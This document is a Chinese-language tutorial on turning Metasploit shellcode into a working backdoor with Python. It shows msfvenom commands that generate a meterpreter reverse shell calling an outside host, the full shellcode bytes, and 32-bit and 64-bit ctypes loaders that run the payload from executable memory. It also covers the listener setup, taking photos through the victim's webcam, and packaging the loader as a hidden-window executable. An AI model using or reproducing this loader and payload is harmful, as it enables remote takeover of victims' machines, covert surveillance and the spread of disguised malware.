一、利用Python执行ShellCode

1、支持的源码格式

bash / c / csharp / dw / dword / hex / java / js_be / js_le / num / perl / pl / powershell / ps1 / py / python / raw / rb / ruby / sh / vbapplication / vbscript

2、生成ShellCode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.52 LPORT=6666 -f py -o shellcode.py

生成如下内容

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7"
buf += b"\x4a\x4a\x48\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66"
buf += b"\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80"
buf += b"\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50"
buf += b"\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d"
buf += b"\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48"
buf += b"\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
buf += b"\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b"
buf += b"\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
buf += b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
buf += b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
buf += b"\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
buf += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0"
buf += b"\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1a\x0a\xc0"
buf += b"\xa8\x65\x34\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba"
buf += b"\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00"
buf += b"\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41"
buf += b"\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48"
buf += b"\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2"
buf += b"\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0"
buf += b"\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48"
buf += b"\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
buf += b"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
buf += b"\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
buf += b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31"
buf += b"\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49"
buf += b"\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89"
buf += b"\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d"
buf += b"\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a"
buf += b"\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff"
buf += b"\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4"
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"

3、编辑Python运行

import ctypes

buf =  b""（此处省略）

shellcode = bytearray(buf)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

4、MSF监听实现反弹

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

设置好lhost、lport后即可运行run开启监听

此时在被攻击端运行Python脚本，成功上线

注：

如果出现以下情况，则为解释器版本不正确

更换对应版本解释器即可，以下为Python 64位版本的解释器代码

二、使用Python 64位版加载器

1、生成x64的ShellCode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.101.52 LPORT=6666 -f py -o shellcode_64.py

2、使用64位版Python加载器

import ctypes

buf =  b""（此处省略）

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、MSF开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

设置好lhost、lport后即可运行run开启监听，与以上操作一致。

4、执行拍照指令

在上线后可以执行系统命令，例如拍照

webcam_snap -i 1 -v false

（-i：表示调用第几个摄像头；-v：表示拍完照之后是否自动打开）

此时有一位帅哥已经被拍下来了，成功执行系统命令。

5、利用Pyinstaller打包Python代码为可执行文件

使用pip install安装pyinstaller后，找到安装路径，执行以下代码

C:\Python\Script\pyinstaller.exe -F -w pyshell.py

（-F：创建一个单独的可执行文件；-w：不显示控制台窗口）

在生成的目录下找到pyshell.exe，实现与MSF的连接。